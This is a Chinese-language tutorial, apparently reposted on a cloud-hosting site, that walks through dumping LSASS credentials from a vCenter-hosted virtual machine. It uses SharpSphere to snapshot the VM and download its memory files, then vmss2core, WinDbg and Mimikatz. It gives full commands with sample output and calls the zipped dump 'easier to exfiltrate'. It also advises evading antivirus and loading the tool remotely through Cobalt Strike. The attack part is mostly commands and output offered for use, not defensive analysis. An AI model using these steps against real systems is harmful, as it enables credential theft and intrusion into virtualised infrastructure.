溫馨提示×
您好，登錄后才能下訂單哦！
點擊 登錄注冊 即表示同意《億速云用戶服務條款》
您好，登錄后才能下訂單哦！
這篇文章主要介紹“如何理解SharpSphere dump LSASS內存”，在日常操作中，相信很多人在如何理解SharpSphere dump LSASS內存問題上存在疑惑，小編查閱了各式資料，整理出簡單好用的操作方法，希望對大家解答”如何理解SharpSphere dump LSASS內存”的疑惑有所幫助！接下來，請跟著小編一起來學習吧！
但是到現在為止，在實際操作上很難發揮作用，主要原因是：
1.需要驗證vCenter/ESXi
2.為目標VM創建帶有內存的的快照
3.需要將數據下載到本地，（通常非常大）
.vmem和.vmsn文件4.通過Volatility來運行
5.使用vmss2core轉換為
.dmp并通過Mimikatz 和 WinDbg運行
Z:\>SharpSphere.exe dump --help SharpSphere 1.0.0.0 Copyright ? 2020 --url Required. vCenter SDK URL, i.e. https://127.0.0.1/sdk --username Required. vCenter username, i.e. administrator@vsphere.local --password Required. vCenter password --targetvm Required. VM to snapshot --snapshot (Default: false) WARNING: Creates and then deletes a snapshot. If unset, SharpSphere will only extract memory from last existing snapshot, or none if no snapshots are available. --destination Required. Full path to the local directory where the file should be downloaded --help Display this help screen. --version Display version information.
默認情況下，SharpSphere不會試圖創建一個快照，而會試圖從現有的快照找到有效.vmem和.vmsn文件。從OpSec的角度來看，這是可取的，因為UI中沒有證據，但是不能保證目標上有快照，而且這些快照有沒有捕獲了VM的內存也是問題。所以如果現有快照不存在，SharpSphere將退出。
所以--snapshot參數規定，SharpSphere會創建一個名為System Backup [TIMESTAMP]的快照，下載相關聯的“.vmem和.vmsn文件，然后刪除快照一旦完成。Recent Tasks窗口中的其他用戶將同時看到快照的創建和刪除。
當然--snapshot可以先查看是否存在現有快照
SharpSphere需要從快照下載兩個文件，一個大小等于分配給該機器的RAM的（即4GB，8GB，16GB等）的.vmem文件，以及一個小得多的.vmsn文件。它將這些文件下載到--destination指定的目錄中。但下載完這兩個文件，SharpSphere會將它們都添加到具有隨機名稱的zip文件中，然后將其刪除。
1.使用以下參數執行SharpSphere（提示：使用獲取虛擬機名稱list）：
SharpSphere.exe dump --url https://[IP or FQDN]/sdk --username [USERNAME] --password [PASSWORD] --targetvm [NAME OF VM] --destination [LOCATION TO DOWNLOAD FILES]
示例輸出
C:\Users\Administrator\Desktop>SharpSphere.exe dump --url https://vcenter.globex.com/sdk --username administrator@vsphere.local --password Password1! --targetvm "Windows 10" --destination "C:\Users\Public" [x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates [x] Creating vSphere API interface, takes a few minutes... [x] Connected to VMware vCenter Server 7.0.1 build-17005016 [x] Successfully authenticated [x] Finding existing snapshots for Windows 10... Error: No existing snapshots found for the VM Windows 10, recommend you try again with --snapshot set
2.如果不存在快照，添加一個參數--snapshot
SharpSphere.exe dump --url https://vcenter.globex.com/sdk --username administrator@vsphere.local --password Password1! --targetvm "Windows 10" --destination "C:\Users\Public" --snapshot [x] Disabling SSL checks in case vCenter is using untrusted/self-signed certificates [x] Creating vSphere API interface, takes a few minutes... [x] Connected to VMware vCenter Server 7.0.1 build-17005016 [x] Successfully authenticated [x] Creating snapshot for VM Windows 10... [x] Snapshot created successfully [x] Downloading Windows 10-Snapshot51.vmem (4096MB) to C:\Users\Public\z53dqmxx.5bz... [x] Downloading Windows 10-Snapshot51.vmsn to C:\Users\Public\hwu5gv2d.ezv... [x] Download complete, zipping up so it's easier to exfiltrate... [x] Zipping complete, download C:\Users\Public\cec0kwgk.b2m (916MB), rename to .zip, and follow instructions to use with Mimikatz [x] Deleting the snapshot we created
3.如果你使用cs之類的工具，可以直接在目標機器上加載遠程加載程序。或者，將工具上傳到目標機上，但要做好免殺處理。
4.在這種情況下cec0kwgk.b2m，將隨機重命名為zip文件，然后解壓縮這兩個文件。較大的是您的.vmem文件。
5.下載vmss2core并先提供較小的.vmsn文件，然后再提供較大的.vmem文件。如果目標VM是Microsoft Windows 8 / 8.1，Windows Server 2012，Windows Server 2016或Windows Server 2019，則執行以下命令-W8：
vmss2core-sb-8456865.exe -W8 hwu5gv2d.ezv z53dqmxx.5bz
否則使用-W：
vmss2core-sb-8456865.exe -W hwu5gv2d.ezv z53dqmxx.5bz
6.下載WinDbg并加載.dmp文件。vmss2core Crash Dump
7.下載Mimikatz并使用WinDbg加載Mimilib.dll
.load C:\Tools\Mimikatz\x64\mimilib.dll
8.查找LSASS 進程
!process 0 0 lsass.exe
9.切換進程
.process /r /p ffffc70462d020c0
10.獲取憑證
!mimikatz?
到此，關于“如何理解SharpSphere dump LSASS內存”的學習就結束了，希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習，快去試試吧！若想繼續學習更多相關知識，請繼續關注億速云網站，小編會繼續努力為大家帶來更多實用的文章！
免責聲明：本站發布的內容（圖片、視頻和文字）以原創、轉載和分享為主，文章觀點不代表本網站立場，如果涉及侵權請聯系站長郵箱：is@yisu.com進行舉報，并提供相關證據，一經查實，將立刻刪除涉嫌侵權內容。
